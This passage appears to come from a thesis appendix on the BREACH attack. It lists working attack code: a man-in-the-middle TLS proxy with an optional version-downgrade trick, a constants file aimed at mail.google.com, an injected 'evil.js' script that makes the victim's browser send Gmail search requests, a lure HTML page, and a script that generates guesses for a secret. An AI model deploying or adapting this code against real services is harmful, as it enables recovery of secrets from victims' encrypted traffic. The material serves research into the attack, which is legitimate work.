        self.full_logger.debug(exc)
        if is_response:
            chunked_endpoint_header = data
        else:
            chunked_user_header = data
        return ('', past_bytes_endpoint, past_bytes_user,
chunked_endpoint_header, chunked_user_header, downgrade)

    if is_response:
        if cont_type in constants.TLS_CONTENT:
            self.basic_logger.debug('Endpoint %s Length: %d'
% (constants.TLS_CONTENT[cont_type], length))
            if cont_type == 23:
                with open('out.out', 'a') as f:
                    f.write('Endpoint application payload
: %d\n' % length)
                    f.close()
            else:
                self.basic_logger.debug('Unassigned Content Type
record (len = %d)' % len(data))
                lg.append('Source : Endpoint')
        else:

```

```

        if cont_type in constants.TLS_CONTENT:
            self.basic_logger.debug('User %s Length: %d' % (
constants.TLS_CONTENT[cont_type], length))
            if cont_type == 22:
                if ord(data[constants.MAX_TLS_POSITION])
> constants.MAX_TLS_ALLOWED:
                    downgrade = True
                    if cont_type == 23:
                        with open('out.out', 'a') as f:
                            f.write('User application payload: %d
\n' % length)
                            f.close()
                    else:
                        self.basic_logger.debug('Unassigned Content Type
record (len = %d)' % len(data))
                        lg.append('Source : User')

            try:
                lg.append('Content Type : ' + constants.TLS_CONTENT[cont_type
])
            except:
                lg.append('Content Type: Unassigned %d' % cont_type)
            try:
                lg.append('TLS Version : ' + constants.TLS_VERSION[(version
[0], version[1])])
            except:
                lg.append('TLS Version: Unknown %d %d' % (version[0], version
[1]))
            lg.append('TLS Payload Length: %d' % length)
            lg.append('(Remaining) Packet Data length: %d\n' % len(data))

            # Check if TLS record spans to next TCP segment
            if len(data) - constants.TLS_HEADER_LENGTH < length:
                if is_response:
                    past_bytes_endpoint = length + constants.
TLS_HEADER_LENGTH - len(data)
                else:
                    past_bytes_user = length + constants.TLS_HEADER_LENGTH -
len(data)

            lg.append(self.log_data(data[0:constants.TLS_HEADER_LENGTH]))
            lg.append(self.log_data(data[constants.TLS_HEADER_LENGTH:
constants.TLS_HEADER_LENGTH+length]))
            lg.append('\n')

            # Check if packet has more than one TLS records
            if length < len(data) - constants.TLS_HEADER_LENGTH:
                more_records, past_bytes_endpoint, past_bytes_user,
chunked_endpoint_header, chunked_user_header, _ = self.parse(

data[constants.
TLS_HEADER_LENGTH+length:],

past_bytes_endpoint,

past_bytes_user
,

```

```

chunked_endpoint_header,

chunked_user_header,

is_response
)

lg.append(more_records)

return ('\n'.join(lg), past_bytes_endpoint, past_bytes_user,
chunked_endpoint_header, chunked_user_header, downgrade)

def start(self):
    """
    Start sockets on user side (proxy as server) and endpoint side (
    proxy as client).
    """
    self.full_logger.info('Starting Proxy')

    try:
        self.user_setup()
        self.endpoint_setup()
    except:
        pass

    self.full_logger.info('Proxy is set up')
    return

def restart(self, attempt_counter = 0):
    """
    Restart sockets in case of error.
    """
    self.full_logger.info('Restarting Proxy')

    try:
        self.user_socket.close()
        self.endpoint_socket.close()
    except:
        pass

    try:
        self.user_setup()
        self.endpoint_setup()
    except:
        if attempt_counter < 3:
            self.full_logger.debug('Reattempting restart')
            self.restart(attempt_counter+1)
        else:
            self.full_logger.debug('Multiple failed attempts to
restart')
            self.stop(-9)
            sys.exit(-1)

    self.full_logger.info('Proxy has restarted')
    return

```

```

def stop(self, exit_code = 0):
    """
    Shutdown sockets and terminate connection.
    """
    try:
        self.user_connection.close()
        self.endpoint_socket.close()
    except:
        pass
    self.full_logger.info('Connection closed')
    self.debug_logger.debug('Stopping breach object with code: %d' %
exit_code)
    return

def user_setup(self):
    """
    Create and configure user side socket.
    """
    try:
        self.full_logger.info('Setting up user socket')
        user_socket = socket.socket(socket.AF_INET, socket.
SOCK_STREAM)
        user_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR
, 1) # Set options to reuse socket
        user_socket.bind((constants.USER, constants.USER_PORT))
        self.full_logger.info('User socket bind complete')
        user_socket.listen(1)
        self.full_logger.info('User socket listen complete')
        self.user_connection, self.address = user_socket.accept()
        self.user_socket = user_socket
        self.full_logger.info('User socket is set up')
    except:
        self.stop(-8)
        sys.exit(-1)
    return

def endpoint_setup(self):
    """
    Create and configure endpoint side socket
    """
    try:
        self.full_logger.info('Setting up endpoint socket')
        endpoint_socket = socket.socket(socket.AF_INET, socket.
SOCK_STREAM)
        self.full_logger.info('Connecting endpoint socket')
        endpoint_socket.connect((constants.ENDPOINT, constants.
ENDPOINT_PORT))
        endpoint_socket.setblocking(0) # Set non-blocking, i.e. raise
exception if send/recv is not completed
        self.endpoint_socket = endpoint_socket
        self.full_logger.info('Endpoint socket is set up')
    except:
        self.stop(-7)
        sys.exit(-1)
    return

def execute_breach(self):

```



```

'''
Start proxy and execute main loop
'''
# Initialize parameters for execution.
past_bytes_user = 0 # Number of bytes expanding to future user
packets
past_bytes_endpoint = 0 # Number of bytes expanding to future
endpoint packets
chunked_user_header = None # TLS user header portion that gets
stuck between packets
chunked_endpoint_header = None # TLS endpoint header portion that
gets stuck between packets

self.start()
self.full_logger.info('Starting main proxy loop')
try:
    while 1:
        ready_to_read, ready_to_write, in_error = select.select(
self.user_connection, self.endpoint_socket],
[],
[],
5
)

        if self.user_connection in ready_to_read: # If user side
socket is ready to read...
            data = ''

            try:
                data = self.user_connection.recv(constants.
SOCKET_BUFFER) # ...receive data from user...
            except Exception as exc:
                self.full_logger.debug('User connection error
')

                self.full_logger.debug(exc)
                self.stop(-6)
                break

            if len(data) == 0:
                self.full_logger.info('User connection
closed')

                self.stop(-5)

            else:
                self.basic_logger.debug('User Packet
Length: %d' % len(data))

                output, past_bytes_endpoint,
past_bytes_user, chunked_endpoint_header, chunked_user_header,
downgrade = self.parse(

                    data,

                    past_bytes_endpoint,

```

```

    past_bytes_user,

    chunked_endpoint_header,

    chunked_user_header

) # ...parse it...
    self.full_logger.debug(output)
    try:
        if downgrade and constants.
ATTEMPT_DOWNGRADE:
        alert = 'HANDSHAKE_FAILURE'
        output, _, _, _, _ = self.
parse(
    constants.ALERT_MESSAGES[alert],
    past_bytes_endpoint,
    past_bytes_user,
    True
)
    self.full_logger.debug('\n\n'
+ 'Downgrade Attempt' + output)
    self.user_connection.sendall(
constants.ALERT_MESSAGES[alert]) # if we are trying to downgrade, send
fatal alert to user
        continue
    self.endpoint_socket.sendall(data) #
...and send it to endpoint
except Exception as exc:
    self.full_logger.debug('User data
forwarding error')
    self.full_logger.debug(exc)
    self.stop(-4)
    break

    if self.endpoint_socket in ready_to_read: # Same for the
endpoint side
        data = ''
        try:
            data = self.endpoint_socket.recv(constants.
SOCKET_BUFFER)
        except Exception as exc:
            self.full_logger.debug('Endpoint connection
error')
            self.full_logger.debug(exc)
            self.stop(-3)
            break

```

```

        if len(data) == 0:
            self.full_logger.info('Endpoint
connection closed')
            self.stop(5)
            break
        else:
            self.basic_logger.debug('Endpoint Packet
Length: %d' % len(data))
            output, past_bytes_endpoint,
past_bytes_user, chunked_endpoint_header, chunked_user_header, _ =
self.parse(
                                data
                                ,
                                past_bytes_endpoint,
                                past_bytes_user,
                                chunked_endpoint_header,
                                chunked_user_header,
                                True
                                )
            self.full_logger.debug(output)
            try:
                self.user_connection.sendall(data)
            except Exception as exc:
                self.full_logger.debug('Endpoint data
forwarding error')
                self.full_logger.debug(exc)
                self.stop(-2)
                break
        except Exception as e:
            self.stop(-1)
        return

if __name__ == '__main__':
    args_dict = get_arguments_dict(sys.argv)
    conn = Connector(args_dict)
    conn.full_logger.info('Hillclimbing parameters file created')
    conn.execute_breach()

```

Listing 4.1: connect.py

4.2 Constants library

```
import binascii
```

```

# TLS Header
TLS_HEADER_LENGTH = 5
TLS_CONTENT_TYPE = 0
TLS_VERSION_MAJOR = 1
TLS_VERSION_MINOR = 2
TLS_LENGTH_MAJOR = 3
TLS_LENGTH_MINOR = 4

# TLS Content Types
TLS_CHANGE_CIPHER_SPEC = 20
TLS_ALERT = 21
TLS_HANDSHAKE = 22
TLS_APPLICATION_DATA = 23
TLS_HEARTBEAT = 24
TLS_CONTENT = {
    TLS_CHANGE_CIPHER_SPEC: "Change cipher spec (20)",
    TLS_ALERT: "Alert (21)",
    TLS_HANDSHAKE: "Handshake (22)",
    TLS_APPLICATION_DATA: "Application Data (23)",
    TLS_HEARTBEAT: "Heartbeat (24)"
}
TLS_VERSION = {
    (3, 0): "SSL 3.0",
    (3, 1): "TLS 1.0",
    (3, 2): "TLS 1.1",
    (3, 3): "TLS 1.2"
}

# TLS Alert messages
ALERT_HEADER = "1503010002"
ALERT_MESSAGES = {
    'CLOSE_NOTIFY' : binascii.unhexlify(ALERT_HEADER + "0200"),
    'UNEXPECTED_MESSAGE' : binascii.unhexlify(ALERT_HEADER + "020
A"),
    'DECRYPTION_FAILED' : binascii.unhexlify(ALERT_HEADER +
"0217"),
    'HANDSHAKE_FAILURE' : binascii.unhexlify(ALERT_HEADER +
"0228"),
    'ILLEGAL_PARAMETER' : binascii.unhexlify(ALERT_HEADER + "022F
"),
    'ACCESS_DENIED' : binascii.unhexlify(ALERT_HEADER + "0231"),
    'DECODE_ERROR' : binascii.unhexlify(ALERT_HEADER + "0232"),
    'DECRYPT_ERROR' : binascii.unhexlify(ALERT_HEADER + "0233"),
    'PROTOCOL_VERSION' : binascii.unhexlify(ALERT_HEADER +
"0246")
}

# Ports and nodes
USER = "" # Listen requests from everyone
USER_PORT = 443
#ENDPOINT = "31.13.93.3" # touch.facebook.com
ENDPOINT = "216.58.208.101" # mail.google.com
ENDPOINT_PORT = 443

# Buffers
SOCKET_BUFFER = 4096
LOG_BUFFER = 16

```

```

# Downgrade
ATTEMPT_DOWNGRADE = False
MAX_TLS_POSITION = 10 # Icceweasel's max tls version byte position in
    Client Hello message
MAX_TLS_ALLOWED = 1

# Possible alphabets of secret
DIGIT = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
LOWERCASE = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
    'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
UPPERCASE = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
    'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
DASH = ['- ', '_ ']

# Random nonces
NONCE_1 = 'ladbfsk!'
NONCE_2 = 'znq'

# Point systems for various methods, used in parse.py
SERIAL_POINT_SYSTEM = {1: 20, 2: 16, 3: 12, 4: 10, 5: 8, 6: 6, 7: 4, 8:
    3, 9: 2, 10: 1}
PARALLEL_POINT_SYSTEM = {0: 1}
POINT_SYSTEM_MAPPING = {
    's': SERIAL_POINT_SYSTEM,
    'p': PARALLEL_POINT_SYSTEM
}

```

Listing 4.2: constants.py

4.3 BREACH JavaScript

```

1 function compare_arrays(array_1 = [], array_2 = []) {
2     if (array_1.length != array_2.length)
3         return false;
4     for (var i=0; i<array_1.length; i++)
5         if (array_1[i] != array_2[i])
6             return false;
7     return true;
8 }
9
10 function makeRequest(iterator = 0, total = 0, alphabet = [], ref = "",
    timeout = 4000) {
11     jQuery.get("request.txt").done(function(data) {
12         var input = data.split('\n');
13         if (input.length < 2) {
14             setTimeout(function() {
15                 makeRequest(0, total, alphabet, ref)
16             }, 10000);
17             return;
18         }
19         var new_ref = input[0];
20         var new_alphabet = input[1].split(',');
21         if (!compare_arrays(alphabet, new_alphabet) || ref != new_ref) {
22             setTimeout(function() {

```

```

23         makeRequest(0, total, new_alphabet, new_ref);
24     }, 10000);
25     return;
26 }
27 var search = alphabet[iterator];
28 var request = "https://mail.google.com/mail/u/0/x/?s=q&q=" +
search;
29 var img = new Image();
30 img.src = request;
31 iterator = iterator >= alphabet.length - 1 ? 0 : ++iterator;
32 setTimeout(function() {
33     makeRequest(iterator, total, alphabet, ref);
34 }, timeout);
35 }).fail(function() {
36     setTimeout(makeRequest(), 10000);
37     return
38 });
39 return;
40 }
41
42 makeRequest();

```

Listing 4.3: evil.js

4.4 Minimal HTML web page

```

<html>
<head>
<script src="jquery.js"></script>
<script src="evil.js" type="text/javascript"></script>
</head>
<body>
Please wait a moment...
</body>
</html>

```

Listing 4.4: HTML page that includes BREACH js

4.5 Request initialization library

```

import sys
from io_library import get_arguments_dict
from constants import DIGIT, LOWERCASE, UPPERCASE, DASH, NONCE_1, NONCE_2

def create_alphabet(alpha_types):
    """
    Create array with the alphabet we are testing.
    """
    assert alpha_types, 'Empty argument for alphabet types'
    alphabet = []
    for t in alpha_types:
        if t == 'n':

```

```

        for i in DIGIT:
            alphabet.append(i)
    if t == 'l':
        for i in LOWERCASE:
            alphabet.append(i)
    if t == 'u':
        for i in UPPERCASE:
            alphabet.append(i)
    if t == 'd':
        for i in DASH:
            alphabet.append(i)
    assert alphabet, 'Invalid alphabet types'
    return alphabet

def huffman_point(alphabet, test_points):
    """
    Use Huffman fixed point.
    """
    huffman = ''
    for alpha_item in enumerate(alphabet):
        if alpha_item[1] not in test_points:
            huffman = huffman + alpha_item[1] + '_'
    return huffman

def serial_execution(alphabet, prefix):
    """
    Create request list for serial method.
    """
    global reflection_alphabet
    req_list = []
    for i in xrange(len(alphabet)):
        huffman = huffman_point(alphabet, [alphabet[i]])
        req_list.append(huffman + prefix + alphabet[i])
    reflection_alphabet = alphabet
    return req_list

def parallel_execution(alphabet, prefix):
    """
    Create request list for parallel method.
    """
    global reflection_alphabet
    if len(alphabet) % 2:
        alphabet.append('^')
    first_half = alphabet[::2]
    first_huffman = huffman_point(alphabet, first_half)
    second_half = alphabet[1::2]
    second_huffman = huffman_point(alphabet, second_half)
    head = ''
    tail = ''
    for i in xrange(len(alphabet)/2):
        head = head + prefix + first_half[i] + ' '
        tail = tail + prefix + second_half[i] + ' '
    reflection_alphabet = [head, tail]
    return [first_huffman + head, second_huffman + tail]

def create_request_file(args_dict):
    """
    Create the 'request' file used by evil.js to issue the requests.

```

```

'''
method_functions = {'s': serial_execution,
                    'p': parallel_execution}

prefix = args_dict['prefix']
assert prefix, 'Empty prefix argument'
method = args_dict['method']
assert method, 'Empty method argument'
search_alphabet = args_dict['alphabet'] if 'alphabet' in args_dict
else create_alphabet(args_dict['alpha_types'])
with open('request.txt', 'w') as f:
    f.write(prefix + '\n')
    total_tests = []
    alphabet = method_functions[method](search_alphabet, prefix)
    for test in alphabet:
        huffman_nonce = huffman_point(alphabet, test)
        search_string = NONCE_1 + test + NONCE_2
        total_tests.append(search_string)
    f.write(','.join(total_tests))
    f.close()
return reflection_alphabet

if __name__ == '__main__':
    args_dict = get_arguments_dict(sys.argv)
    create_request_file(args_dict)

```

Listing 4.5: hillclimbing.py

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